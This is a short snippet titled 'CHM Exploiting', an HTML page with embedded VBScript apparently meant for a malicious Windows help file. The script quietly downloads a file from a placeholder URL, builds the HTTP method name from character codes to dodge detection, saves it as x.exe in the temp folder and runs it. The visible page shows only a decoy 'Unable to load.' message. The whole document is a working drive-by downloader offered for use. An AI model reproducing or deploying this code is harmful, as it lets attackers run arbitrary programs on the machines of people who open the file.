CHM Exploiting

<html>
<body>
<script type="text/vbscript">
Function SimpleBinaryToString(Binary)
  Dim I, S
  For I = 1 To LenB(Binary)
    S = S & Chr(AscB(MidB(Binary, I, 1)))
  Next
  SimpleBinaryToString = S
End Function

Sub dl(url, dst)
dim xmlhttp: Set xmlhttp = CreateObject("MSXML2.ServerXMLHTTP")
dim method: method = Chr(71) & Chr(69) & Chr(84)
xmlhttp.Open method, url, False
xmlhttp.Send
Dim i, objFile
Set objFile = CreateObject("Scripting.FileSystemObject").OpenTextFile( dst, 2, True )
objFile.WriteLine(SimpleBinaryToString(xmlhttp.ResponseBody))
objFile.Close()
set xmlhttp = nothing
set objFile = nothing
End Sub
dim dst: dst = CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2) & "\x.exe"
dim url
url = "URLTOFILE"
dl url, dst
CreateObject("WScript.Shell").Run dst
</script>
<p>Unable to load.</p>
</body>
</html>